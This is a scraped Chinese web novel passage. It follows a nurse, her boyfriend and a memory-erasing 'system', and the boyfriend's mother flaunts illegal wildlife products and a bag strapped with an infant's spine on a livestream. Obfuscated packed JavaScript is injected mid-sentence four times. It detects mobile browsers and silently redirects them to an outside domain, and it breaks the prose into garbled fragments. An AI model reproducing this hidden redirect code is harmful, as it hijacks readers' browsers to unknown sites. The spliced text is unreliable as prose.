见她从始至终都是那副满不在乎的表情,曲江吟蓦然有种一拳打在棉花上的无力感,和三观差异巨大的人交谈,实在是太费神了。 她默默叹了口气,没再浪费口舌。 她不说话,赵淑卉反倒开口了:“想不到你还是个嫉恶如仇的性子。” 曲江吟不明白她为啥要说这个,也懒得揣摩她的心思,只想离她远远的,便直截了当地说:“您还有什么事没?没有的话,我先走了。” “这么急?” “我约了朋友去逛街。” 这不是借口,她确实和安歆语约好了要一起去逛街,只不过现在离她俩约好的时间还有两个多小时。可她宁愿自己一个人漫无目的地溜达,也不想把时间浪费在赵淑卉这个人情味儿还不如酒店送餐机器人浓的家伙身上。 赵淑卉抚着微微发烫的茶杯外壁,垂眸瞥了一眼红浓明亮的茶汤,“可惜了,茶要细细品才有滋味。” “您慢慢品吧,我就不奉陪了。” 她执意要走,赵淑卉总不能不顾脸面拽着她不让她走。 “都说百闻不如一见,虽说时间短了点儿,但亲自见过你之后,我能理解逸风为什么会喜欢你,不过,我不得不泼盆冷水,综合各方面的条件来看,你们两个并不合适。” 曲江吟拿起包包,站起身来,撂下一句“合不合适,您说了不算,我们两个说了才算,再见”,便大步朝包厢门走去…… 七月初,徐逸风去外地出差了,一去就是半个多月。 半个月说长不长,说短不短,他白天被繁忙的工作压得愁眉不展,晚上被吊诡的噩梦吓得冷汗涟涟,整个人肉眼可见地憔悴下来。 他原以为梦到江吟把他当成安钧羽已经够可怕了,没想到还有更恐怖的——江吟发现他不是安钧羽之后,大失所望,铁了心要和他分手,无论他怎么做都无法挽回。 梦里的画面无比真切,无尽的绝望跨越梦境与现实的界限,直扑他的心脏,哪怕他醒了,也会阴魂不散地盘踞在他心头,给他带来堪比钝刀子割肉的痛苦。 这份痛苦是那样真实,以至于他将醒未醒的大脑下达的第一个指令便是——快去确认一下心脏是不是真的受伤了! 所以他每次醒来都会下意识捂住心口。 眼瞅着他眉宇间的倦色一天比一天浓郁,助理都看不下去了,不管是找他签署文件,还是向他汇报工作进程,都会一脸关切地补充几句劝他好好休息保重身体之类的话。 他也想好好休息啊,可是他试了许多种方法,无论如何也摆脱不了那些噩梦。 只有和江吟在一起时,他才能睡个安稳觉,不过,如今她俩相隔数百公里,他总不能丢下手头的工作,飞回江吟身边,只为睡个好觉吧? 幸好他生活在科技发达的现代社会,每晚都能通过手机见到江吟,不然他都不知道该怎么熬过这些苦哈哈的日子。 他不想让江吟担心,为了掩饰自己日益憔悴的脸色,每次视频的时候,他都会找个光线充足的角落,还会在手机拍不到的地方弄个反光板,这样,镜头里的他就会显得容光焕发。 返程之前,他还专门抽出时间去了一家广受赞誉的美容中心,根据自身的需求,做了恢复期很短、效果又比较显著的医美项目。 他做这些,倒不是担心江吟知道他睡不好的事,而是怕她深究他睡不好的原因。 那些噩梦,他光是想想都觉得十分不祥,更遑论把梦的内容讲出来了。 他认为自己撞邪了,江吟可不一定会这么想,万一她怀疑他是不是对她们的感情没多少信心才会做那样的梦怎么办? 把梦说出来不难,打消疑虑很难。 飞机抵达N市之后,徐逸风步履匆匆地走进航站楼的到达大厅,饱含思念与渴盼的目光径直扫向接机的人群,没过多久便看到了朝思暮想的女友以及那块儿被她高高举起的、写着“徐逸风,我在N市很想你”的接机牌。 曲江吟也发现了他,登时喜笑颜开,手中的接机牌举得更高了。 徐逸风三步并作两步,来到她身前,一手接过牌子,一手将她揽入怀中。 曲江吟抬手摸了摸他白嫩细腻的脸,开口打趣道:“你是不是看上超模的饭碗了?不然怎么突然减起肥了,瞧瞧这小脸儿,瘦得脸颊都有点儿凹了!” 他许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467059|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没量过体重了,还真不清楚自己瘦没瘦,不过,双颊微微凹陷也可能是因为他前不久刚做完医美。 “我想你想得茶饭不思,变瘦也正常。”他歪过脑袋,贴着她柔嫩的掌心蹭来蹭去,像只温顺的大猫。 曲江吟踮起脚尖,在他嘴唇上啄了一口,蹙着眉头,轻声嘀咕道:“不油啊,为啥说出来的话有股油油的感觉?” 徐逸风:??? 油?谁?我吗? 不等他做出反应,曲江吟一把拉住他的手臂,快步朝停车场的方向走去,同时还别有深意地说:“走,跟我上车!我要好好检查一下你的嘴巴,Don''tworry,说话变得油嘴滑舌只是小毛病,我保准给你治好!” 她深谙惹人遐想的技巧,刻意把重音落在“好好检查”和“治好”上。 徐逸风果然想到歪处去了,满心期待地上了车,她却眨巴着狡黠的眼睛,笑盈盈地推托道:“在这儿治会影响机场的交通,还是换个地儿治吧,我觉得你家车库挺合适的,既不会影响别人,也不用担心别人打搅咱们,你觉得呢?” 他无奈地笑了笑,“行,都听你的。” 四十多分钟后,车子缓缓驶入车库。 曲江吟又嫌车里的空间太小,不够她施展。 这回,被吊足了胃口的徐逸风干脆利落地解开两人的安全带,把她抱下车,大步走进电梯。 公主抱的姿势弥补了两人身高的差距,让她不必踮脚就能亲到徐逸风的嘴。 她一只手勾住他的脖子,另一只手不停地在他胸口画圈。 “治疗方法特别简单,简而言之就是舌疗,待会儿你可得好好配合我哦~” 徐逸风的呼吸明显变得更粗重了。 等他踏进玄关,曲江吟先给他来了一个疗程,随后拍了一下他的肩膀,故意用欣慰的口气揶揄道:“你配合得非常好,就是气息控制得不太行,节奏有点儿乱。” 徐逸风灼热的眼神一直牢牢锁定在她开开合合的唇瓣上。 “你再陪我练练吧,我会好好学的。” 曲江吟晃了晃脚丫子,拖长尾音蛊惑道:“先放我下来,咱们去里面慢~慢~练~” 断断续续、时而急促、时而缓慢的舌疗,搭配上无需太多花样、只需上下摆弄的手疗,让徐逸风看上去更“痛苦”了。 他的手被领带绑住了,绑得并不结实,他却没有一丝挣脱的意愿。 冷白无暇的肌肤简直是世界上最完美的画布,没有之一!曲江吟像个以嘴代笔的狂放派画家,不断地在画布上涂抹,留下深浅不一的粉色笔触。 她对自己的杰作异常满意,辛辛苦苦画了这么久,是时候索取报酬了,于是她解开领带。 …… 曲江吟犹如策马奔腾的骑士,只不过她骑的“白马”比真马温驯多了,当她体力不支时,健壮的“白马”会坐起来,掐着她的腰继续向终点冲刺。 39. 039 一轮双人叠叠乐游戏结束后,曲江吟的体力槽彻底归零,徐逸风被瞌睡虫打得节节败退。 他强忍困意,抱着她来到浴室,帮她把身体清理干净。 她迷迷糊糊睡着了,正好他也困得眼皮直打架,干脆抱着她去另一间卧室睡觉了…… 休息的时候,时间如同开了加速挂,稍不留神就会从指缝中溜走,工作的时候,时间却像是开了减速挂,慢得令人发指。 张青果端起印满可爱图画的大肚杯,慢悠悠地吸溜了一大口清甜的花茶。 花茶虽甜,却甜不到一个苦逼打工人的心里去。 她放下水杯,长吁短叹地说:“为啥打工人没有寒暑假呀?好想出去玩啊,可是我没有时间,哎……” 曲江吟边伸懒腰边回复道:“年轻真好,这么热的天还有出去玩儿的劲头,我这种懒骨头,宁可被空调吹感冒,也不想被太阳晒成干儿。” “你算懒骨头的话,我就是懒癌晚期,出去玩什么的,只是借口,其实我就是不想上班。” 曲江吟扬手拍了一把她的肩膀,跟她开起了玩笑:“没事儿,对上班产生PTSD是每一个打工人的宿命,一年有那么三百六十来天不想上班是人之常情。” 张青果嘿嘿一笑,晃悠着跷起的二郎腿,“还好今天人不多,不然咱们哪有工夫唠啊?” “嘘!”曲江吟竖起食指,挡在嘴前,比了个噤声的手势,“现在还没下班呢,最好别说人少、人不多之类的话。” 张青果顿了一下,掰着指头吐槽道:“不能吃芒果、不能吃火龙果、不能喝旺仔牛奶、连人多人少都不能提,咱们这行禁忌可真多!” “前三个是急诊夜班的禁忌,跟咱们体检科关系不大。” 这时,门外忽然传来一道洪亮的声音:“彩超在17号诊室,一直往前走,右手边第四道门。” “啊?真来人了?”刚消散没多久的班味儿卷土重来,压垮了张青果的肩膀。 很快,一个脖子上长了一大片胎记的男人走了进来。 因为那块显眼的胎记,曲江吟第一时间认出了他,但她只记得他是曲折桂的同学,没记住他的名字。 对方也认出了她,看她的眼神充满惊艳和讶异。 “曲盈盈?” “我改名了,现在叫曲江吟,你是?” “我是佟锴啊,以前我和你哥关系可好了,经常去你家玩儿,你不记得我了么?” 曲江吟挤出一抹敷衍客套的笑容作为回应。 “你为啥要改名啊?曲盈盈也不难听啊。” “谁不想要一个更好听的名字?”要不是担心被投诉,她早用“关你屁事”怼回去了。 佟锴顺手把体检表递给离他更近的张青果,无视曲江吟眼里的冷漠,用看似熟稔实则冒犯的语气点评道:“不仅名字变好听了,人也好看了不少。我记得你小时候跟个假小子似的,脾气也不好,一点就炸,谁都不服,成天跟你哥干架,没想到长大以后居然逆袭成大美女了,还当上了白衣天使!真是女大十八变呀!” 曲江吟的脑子已经被“呵呵”刷屏了。 不愧是能和曲折桂玩到一起去的人,把冒犯和无礼当幽默,身上的爹味儿比厕所的屎味儿还熏人。 “你结婚了没?” 曲江吟实在没忍住,张嘴刺了他一句:“你是不是搞错了什么?在医院上班,只需要医师证或者护士证,不需要结婚证。” 见她生气了,佟锴不仅没有收敛,反而嬉皮笑脸地给她扣上“小题大做”的帽子:“我就随口一问,你怎么还生气了?” 一旁的张青果都听不下去了,果断抬起手臂,指了指检查床,不耐烦地说:“先做检查吧,你还有别的检查项目呢,人家十二点就下班了,上午做不完,下午你还得过来。” 打发走佟锴之后,曲江吟立刻对系统说:“你能不能删掉他在这儿见过我的记忆啊?” “没问题,包在我身上!你是不是担心他骚扰你?其实你没必要这么担心,区区一个下头男,我有一万种方法让他再也不敢出现在你眼前。” “不是,我担心的是,万一他和曲折桂还有联系,以他的德行,绝对会把我的工作地点透露给曲折桂。如今的舒坦日子,我还没过够呢,当然要把一切风险扼杀在摇篮里。” “哦,”系统恍然大悟,“差点儿忘了这茬,不过,你放心好了,如果曲折桂敢过来闹事,我保准让他吃不了兜着走!” 曲江吟偏过脑袋,面朝无人的角落,扯出一抹毫无温度的笑容。 “他很早就知道我没把他当回事儿了,所以……他才不会跑到我面前自取其辱呢,只会想方设法撺掇我妈过来,让她高举孝道的大旗,替他冲锋陷阵。” “呃……你妈来了也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473033|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用怕,我……”系统思索了一会儿才补充道:“我会用障眼法让她迷路,让她这辈子都别想见到你!” “哎……与其在这儿琢磨风险扩散出去的补救办法,不如从源头上掐断风险扩散的可能,你还是赶紧把佟锴的记忆删了吧。” 下班之后,曲江吟走出门诊大楼,仰头望了一眼瓦蓝的天空,长长地舒了一口气。 时值盛夏,昼长夜短,傍晚的天空依旧十分明亮,只有西边点缀着些许灿金的晚霞。 她迈着轻快的步伐,行走在院内微风习习的林荫道上,结果乐极生悲,刚转过拐角就碰到她最不想见到的人。 佟锴不知为何还在医院,再次见到她,却一比一复刻了初次见到她时的神情和语气。 “曲盈盈?” 曲江吟的脸色顿时变得一言难尽。 系统也绷不住了:“卧槽!他咋还没走呢?” 它为了节省能量,并不会时时探查周边的情况,尤其是这种熟悉的路段,没承想竟出了这样的纰漏。 “你不记得我了吗?我是佟锴啊,我和你哥……” 曲江吟可没工夫和他周旋,直接竖起手掌,打断了他激动的发言,“我不是曲盈盈,你认错人了。” 她本以为只要她不承认曲盈盈的身份,佟锴就没理由继续纠缠她了,不料他哼笑一声,透露了一件让她恨不得立马冲到曲折桂面前一把掐死他的事。 “你这话骗骗别人可以,却骗不过我,你哥给我看过你大学时的照片,我敢肯定你就是曲盈盈。” “你爱信不信,滚一边儿去!” 佟锴眼里的惊艳瞬间被恼怒取代,“你这是什么态度?我又没有得罪过你。” 一想到待会儿还得麻烦系统删除他的记忆,曲江吟就一个头两个大。 她怎么这么倒霉?一天之内,被同一个人恶心了两回。上午那事儿,她还没有彻底释怀呢,下班的好心情又被他祸祸没了。 新仇旧恨一起涌上心头,她看向佟锴的目光愈发不善。 “谁让你挡我路的?没听说过好狗不挡道吗?” “草!你TM有病吧!我……” 他的话刚起了个头,就听到一声暴喝:“住手!!!” 住什么手?他没动手啊! 佟锴下意识回头,只见一个盛装打扮仿佛今天要结婚的帅哥气势汹汹地冲了过来。 40. 040 看到衣着像王子、气质像匪徒的柳琢玉,曲江吟的头更大了。 柳琢玉火速飞奔而至,猛地揪住佟锴的衣领。 “你是不是活腻了?居然敢骚扰江吟!” 佟锴在系统的干扰下,力气忽然小了许多,拼尽全力也无法从柳琢玉铁钳般的手中挣脱出来,但系统没有封住他的嘴。 “你哪只眼睛看到我骚扰她了?我和她是老乡,我还是她哥的朋友,我找她叙叙旧咋了?” 柳琢玉愣了愣,偏过脑袋看向曲江吟,用眼神向她求证。 “他是我哥的朋友,又不是我朋友,我跟他一点儿也不熟,没什么旧可叙的。” “听到没?江吟不想和你叙旧……” 他的话还没有说完,就听到曲江吟说:“行了,让他滚吧。” “啊?就这么算了?” “不然呢?揍他一顿?难不成你想进去唱铁窗泪?” 不行!他可不能进去,进去就见不到江吟了! 他几乎没怎么迟疑便松了手,松手的同时,他还推了佟锴一把,冷声警告道:“滚!别让我再看到你!” 佟锴理了理松垮变形的衣领,暗骂一声晦气,灰溜溜地离开这处是非之地。 天赐的英雄救美的机会就这么稀里糊涂地没了,柳琢玉难免有些遗憾,不过,能够帮助江吟撵走那个不怀好意的小瘪三,他已经很满足了。 “江吟,你没事儿吧?” 曲江吟先向他道了谢,随后不屑地望着佟锴匆匆离去的背影,“光天化日之下,谅他也不敢拿我怎么样!” 说罢,她又把目光挪到柳琢玉身上,眉头微蹙,不住地打量着他这身贵气十足的行头。 “你这是刚从红毯上下来吗?怎么穿得这么……隆重?”她本来想说骚包的,话涌到嘴边又改了口。 柳琢玉既不是明星,又不是网红,自然不会有什么红毯活动。 然而,对他来说,和曲江吟见面可是头等大事,找个好评如潮的明星造型师给自己好好捯饬一番,比他自己瞎鼓捣靠谱多了。 “不是啊,男为悦己者容嘛,见心上人,就得打扮得漂漂亮亮的!怎么样?好看吗?”柳琢玉捏住自个儿练了十几分钟才学会的温莎结,眨巴着亮晶晶的眼睛,一脸期待地看着她。 曲江吟:…… “好看是好看,但是穿这么多,你不热吗?” 不待他回答,嗅着熟悉的、如同从烘焙店飘出来的馥郁香气,她已然知晓了答案。 “在车上还好,被空调吹着,不怎么热,外面呃……确实蛮热的。” 柳琢玉其实是怕热体质,特别容易出汗,出门之前,他特意喷了不少止汗露。 风度和温度,二者不可得兼,为了把自己风度翩翩的一面留在江吟心中,只能舍温度而取风度了。 “你还是赶紧回车上去吧,天气这么热,你还穿得里三层外三层的,不怕中暑么?” 柳琢玉眼里陡然迸射/出炽热的光芒,“你是在关心我吗?” 曲江吟斜了他一眼,毫不客气地戳破了他自作多情的幻想,“你想多了,我只是希望你不要给我的同事们增添负担。你愿意待在外边儿就待着呗,我先回了。” “等等!我有事要告诉你。” 有了上次的经验,曲江吟怀疑他又挖出徐逸风亲人的黑料了,不由得停下脚步,直直地望向他的眼睛。 “你知道第一个曝光芯里美用工业染色剂代替食品染色剂的调查记者的下场吗?” 曲江吟心说“这我哪能知道”,但听他的口气,那位记者恐怕是遭到报复了。 他知道江吟耐心有限,一直卖关子只会招来她的反感,因此不等她发问,便主动压低声音解释道:“他失踪了!徐铎入狱之后没多久他就不见了,活不见人死不见尸,不少人都怀疑他是被赵家给……” 说到这儿,他抬手做了个抹脖子的动作,“灭口了!” “只是怀疑?没有证据?这种捕风捉影的消息还是别拿出来糊弄我了。” “赵家有动机呀!” “光凭动机就能给人定罪了?这未免也太草率了吧?” “动机只是一方面,人们之所以怀疑赵家,还有一个重要的原因。记者失踪后,他的家人第一时间报了警,警方曾查出一条关键的线索,正当他们准备顺着线索继续往下查的时候,那条线索却因为一场意外被销毁了!之后的调查也屡遭不顺,能办到这种事情的,只有手眼通天的赵家。” 曲江吟沉默了。 赵家于她而言,就像一条混浊湍急的河流,她看不清这条河到底有多深,只能凭借自己浅薄的经验,尽可能把它往深了估。 柳琢玉的话犹如一根没入河面却探不到底的撑杆,直白地阐明了一个事实——赵家这条河比她想的还要深。 实际上柳琢玉调查徐逸风的目的非常简单,挖出他的黑料,揭穿他的真面目,把他从江吟身边赶走,好方便自己上位。 然而,徐逸风日复一日地过着比白开水还要寡淡的生活,他查来查去,愣是没有挖到任何黑料,徐逸风亲属的黑料反倒越挖越有。 虽然结果跟他想的不一样,但徐逸风既然投胎到赵淑卉肚子里了,就不可能和赵家人撇清关系。 曲江吟一直不吭声,柳琢玉摸不透她的想法,但他费尽心思挖出来的黑料,不一五一十地告诉她岂不浪费? “徐逸风他妈貌似没干过什么伤天害理的事,但她有个违法的爱好——收藏珍稀野生动物制品,据说她的藏品多到连省博的馆长看了都瞠目结舌的地步。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477427|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>闻言,曲江吟顿时回想起她和赵淑卉初次见面时,对方手上戴的那条不起眼的手镯,当时她只是觉得它的材质有点像象牙,现在看来,它百分百是象牙雕的。 “她就不怕被人举/报吗?” “她可是赵老爷子最疼爱的女儿,人们巴结她还来不及呢,怎么会去举/报她?” 曲江吟再次陷入沉默。 有恃无恐的天龙人吗…… 赵淑卉收藏动物制品是因为她喜欢那些东西吗? 显然不是,她只是在享受凌驾于法律之上的特权。 法律约束得了别人,却约束不了自己的强烈反差让她优越感爆棚。 一个除了投胎技术别无所长的人,手握普通人奋斗几辈子都难以企及的资源,却不懂得知足,还要通过知法犯法的行径来彰显自己的地位有多么的高高在上。 曲江吟越想越觉得可笑,之前她俩见面的时候,她就发现赵淑卉冷漠得令人心惊,没想到对方不仅异常冷漠,还是个法外狂徒。 一想到温柔到骨子里的徐逸风,不仅有个草菅人命的奸商爸,还有个藐视法律的天龙人妈,她就有种难以用语言形容的割裂感。 柳琢玉不清楚她在想什么,只想让她明白无法和赵家彻底切割的徐逸风并非良配。 “总之,赵家人都不是什么善茬,多行不义必自毙!别看赵家现在如日中天,一旦头顶那把伞倒下,赵家就完了。虽然徐逸风不姓赵,但他和赵家是一荣俱荣一损俱损的关系,一旦赵家垮台,他绝对落不着好,身为他的女朋友,你说不定也会受到牵连。” 曲江吟当然能听出他的话有些言过其实,但她已经没心思反驳了…… 为了收纳数量众多的藏品,赵淑卉把自己名下的一栋商厦重新装修了一遍,改造成完全不逊色于顶级博物馆的私人展馆。 她收藏这些千金难求的珍品可不是为了把它们摆在那儿落灰,因此光有地方还不行,必须雇佣一些专业人员来进行日常的维护与清洁,才能让它们一直保持干净整洁完好如初的模样。 吴惜瑾是位从业十余年的动物标本师,三年前跳槽到赵淑卉手下,负责管理被制成标本的藏品。 这天,赵淑卉收到一份“大礼”——一具成年棕熊的骨架标本,为了方便运输,完整的骨架被拆分成零碎的骨骼。 吴惜瑾忙着组装骨架的时候,赵淑卉过来观摩了一会儿。 两人简单聊了几句,吴惜瑾不经意间瞥到一条细长的黑影嗖的一下钻进赵淑卉的影子,仿佛水流汇入水洼,眨眼间便融了进去。 什么东西? 他又盯着她的影子仔细瞅了一会儿,却没发现什么不对劲的地方。 八成是工作太累看花眼了。 他不再多想,继续埋头拼接骨架。 41. 041 赵淑卉最喜欢的东西其实是酒,但她从不酗酒,只享受微醺的感觉。 醉酒像是狂扯头发、猛抠头皮、怕你反抗还要邦邦给你两拳、企图把你揍晕的暴躁理发师。 微醺犹如动作轻柔、手法娴熟、怕你尴尬始终不敢跟你搭话、处处合你心意的温柔按摩师。 前者只会让她头痛欲裂,后者却能让她飘飘欲仙。 她慵懒地坐在沙发上,正在翻看一本簇新的图册,时不时端起边几上的高脚酒杯小酌一口,微小的黑色颗粒随着深红的酒液缓缓流入口腔,她却浑然不觉。 这本图册收录了她近几年入手的藏品。 展馆里的藏品多如繁星,并且还在不断地增加,她连大致的数目都记不清,更别提具体有哪些东西了。 为了搞清楚自己究竟收了些啥,她想了个辙——把所有藏品从旧到新依次收录成册,她手里这本精美的图册就是这么来的。 不知不觉间,边几上的酒瓶空了大半。直到眼前的图册变得模糊不清,她才惊觉自己居然喝醉了。 她抬手按了按憋涨的太阳穴,偏头盯着快被她喝空的酒瓶,对自己竟然喝了这么多酒深感不解。 她拿过手机,准备给司机打个电话,让他过来接她回去。 可她刚解锁手机,便鬼使神差地点进扭音,滑动拇指刷起了视频。 飞速划过的画面,嘈杂刺耳的音效,共同刺激着她的神经,让她本就不太清明的大脑变得愈发混沌。 没过多久,她的大拇指骤然一停。 她怔怔地注视着被竖分成两半的画面,以及左下角实时刷新的评论。 古德鉴宝? 她很少看直播,在她眼里,搞直播的人多半是哗众取宠的小丑。换作以往,她早退出去了,如今却像着了迷一样,津津有味地看了起来。 主播有话直说、不故弄玄虚、偶尔还带点儿小幽默的风格还挺对她胃口的。当他调侃某位宝友展示的手镯是满裂帝王棉时,她不禁笑出了声。 然而,她看了十几分钟,越看越觉得疑惑。 那些一眼假的破烂儿也值得鉴定?那些做地砖她都嫌丑的石料也值得收藏?那些杂质多、种水差、质地粗糙的玉器也有人买?那些锈迹斑斑看起来脏兮兮的钱币也能卖的出去? 一条正冰飘蓝花的翡翠手镯,在她看来只是勉强能入眼的品质,却能引发热议,让主播赞不绝口,让直播间里的观众啧啧称奇。 赵淑卉垂眸扫了一眼手腕上那条纯净透亮绿得晃眼的镯子,又把视线挪回屏幕,凝视着那条平平无奇的手镯。 这帮家伙眼皮子可真浅! 这个念头刚从她脑中闪过,下一个念头紧跟着冒了出来——要不要给这群没见过世面的人好好开一开眼界呢? 在酒精和黑色颗粒的作用下,不过几个呼吸的工夫,她的心就被虚荣撑得鼓鼓囊囊。 她根据自己观察到的规则——刷礼物就能插队鉴宝,用大拇指轻戳屏幕,给主播刷了一个大额的礼物,没等多久便连上了。 直播连线会打开手机的前置摄像头,因此每个来鉴宝的人都会第一时间反转镜头。 可她喝醉了,反应比较慢,思索了几秒才弄懂如何反转镜头。 她那张顶着死亡角度依旧美得不可方物的脸,甫一出现便夺走了所有人的目光,直播间顿时炸/开了锅,主播和观众立马化身夸夸群资深群友,各式各样的彩虹屁纷至沓来。 夸她长得漂亮的话,她早就听腻了,因此她没有理会众人的赞美,一边说着“你好,我收了不少东西,想让你帮忙掌掌眼”,一边站起身来,朝身后的陈列柜走去。 晃动的镜头很快停在一个超大的白色贝壳前面。 “卧槽!这么大的砗……”主播赶紧住了嘴,他可不想直播间被封掉。 他不敢提的名称,被懂行的观众打在了公屏上。 砗磲,一级保护动物。 赵淑卉随口问道:“这个开门不?” “开!一眼大开门!”主播点头如捣蒜,“你能不能凑近一点?我瞅瞅细节,你这个,哇!太夸张了,完整的我之前也见过,但是个头都没你这个大。” “行。”赵淑卉唇角微勾,往前迈了两步,将手机伸到离砗磲表面仅有十几厘米远的位置。 “我去!这质地,这颜色,啧啧啧……你这是……祖传的吧?” “不是,我从朋友那儿收来的。” “呃……那肯定是老早以前收的吧?” “不是,好像是两三年前收的。” 主播愣了几秒,忽然露出恍然大悟的表情,摸着下巴,用“我已经看穿你,你别想糊弄我”的自负语气,笑嘻嘻地说:“宝友,你是懂怎么搞节目效果的,要是我没猜错的话,你应该是开博物馆的吧?敢收这种东西,铁定有正规手续。” “不,你想多了,我的东西概不外展。”赵淑卉的语气比他还要自负。 “啊?你这……我都尽力给你圆了……你说你……哎……”主播挠了挠头,一脸无奈,“你不会不知道这是保护动物吧?” “我知道啊。” “啊???” 直播间左下角瞬间被问号刷屏,直性子的观众已经开始怼她了:【你是不是傻?好哥都给你台阶下了,你非要往木仓口上撞,不怕帽子叔叔顺着IP地址去你家□□吗?】 主播也尬笑着警告道:“不是我吓唬你,帽子叔叔可是鉴宝直播间的常客。” 闻言,赵淑卉心里满是不屑,毕竟警察又不能把她怎么样。 主播和观众的警告全被她当成了耳旁风,她侧过身子,朝下一个展柜走去。 “我还有几样东西想让你瞧瞧。” 她刚说完,就把镜头对准一张完整的虎皮,这次不用主播提醒,她主动上前将镜头拉近,慢慢扫过虎皮的细节。 “卧槽,”主播再次爆了粗口,语气却不如刚才那般激动,反而充斥着淡淡的无奈,“这也是你收的?” “对呀,这个开门吗?” “嗯,挺开门的,一看就是从大猫身上扒下来的。”主播给出了肯定的答复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484550|167539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 接着,他又忍不住试探道:“这张皮也是从朋友那儿收的?” “没错。” 他竖起大拇指,脸上挂着略带讥讽的笑容,“你朋友挺牛啊,这都能搞来,你也挺牛的,这都敢收藏。” 观众比他直白多了。 【刑啊,日子过得越来越有判头啦,马上就能吃上公家饭啦!】 【姐姐这么漂亮,一般的手镯可配不上你,得玫瑰金的才行!】 【我明年高考,不知道能不能用上美女姐姐亲自印的试卷。】 赵淑卉眉头微拧,嗤笑一声,“区区一张皮也值得你们大惊小怪?” 主播瞪大眼睛反问道:“区区?难道你还有更那啥的?” 她举起手机缓缓扫过后面的展柜,用实际行动做出了回答。 柜子里面摆着好几排完整的象牙、各种珍稀动物的皮毛以及大小不一造型各异的骨架,墙上还挂着好几颗栩栩如生的兽首。 主播看得眼都直了,嘴里直呼卧槽。 观众纷纷化身赛博法官,开始给她判刑。 【我丢!这不得牢底坐穿?】 【依我看,还是木仓/毙吧,省事儿。】 【算了,直接上加/特/林吧!】 【拿炮/轰!】 本想听取“哇”声一片的赵淑卉,反而受到了群嘲,尽管所剩无几的理智不停地劝她“赶紧收手吧”,可一向心高气傲的她,怎么可能愿意就此收手? “人跟人是不一样的,有些东西,你们碰,不行,我碰就可以,还没人能拿我怎么样。” 敢这么说的人,要么没经过社会的毒打,要么的确有狂的资本,主播总觉得她更像后者。 问题是,她有背景,他没有啊!超管可不是吃素的,动不动就发“封”,收藏违禁物品的是她,惹众怒的也是她,他可不想受到牵连。 他经营了很久才把直播间的名号打响,要是因为她被永久封禁了,那他不得哭死? 于是他连连摆手,皮笑肉不笑地劝道:“行了行了,够了够了,您的实力大伙儿有目共睹,没必要再往下拍了。” 他想给彼此留点体面,因此说得比较委婉。 然而,观众听完赵淑卉桀骜的发言,登时火冒三丈,丝毫没有惯着她的意思,直接开喷。 【好大的口气!】 【当然不一样了!我们是遵纪守法的公民,你是以身试法的犯罪分子,能一样吗?】 【装!继续装!等被抓进局/子抱着铁栏杆哭着唱铁窗泪的时候就老实了。】 【666(狗头)我三连(录屏、留证、举报)了,你们随意。】 赵淑卉扯出一抹冷笑,主播不让她拍,她偏要拍。 偏执磨灭最后一丝理智,使得她盲目地认为唯有最震撼人心的藏品才能堵住这帮井底之蛙的臭嘴,让他们彻底心服口服。 “今天你们算是撞大运了,我还有更罕见的宝贝!” 说罢,她不等主播回应,快步绕过展柜,朝最深处的房门走去。 42. 042 瞧她这副急切的架势,主播还以为她要展示多么了不得的东西呢,不料她一进门就对着一个设计浮夸但看不出牌子的包包拍个没完。 就这? 如果说先前那些一个比一个刑的藏品给他带来的冲击不亚于一枚核/弹,眼前的包包顶多算个摔/炮。 他嬉皮笑脸地说着违心的话:“您这个包包挺别致啊,提手……不对,应该叫包带对吧?包带居然是骨头做的!不过,恕我眼拙,没看出包上的骨头属于哪种动物。” 赵淑卉轻描淡写地回复道:“婴儿的脊柱。” “哈???”主播脸上的笑容凝固了,本来不算大的眼睛瞬间撑开菲薄的眼皮,仿佛下一秒就要脱眶而出似的。 【卧槽!我没听错吧?那条包带是用婴儿的脊柱做的?】 【她怕不是个变态吧?正经人谁会收藏这种东西?】 【假的吧?婴儿的脊柱没那么容易搞到手吧?现在的人啊,为了博眼球,什么谎都敢撒。】 看着主播眼珠子都快瞪出来的神情,赵淑卉情不自禁地笑了。 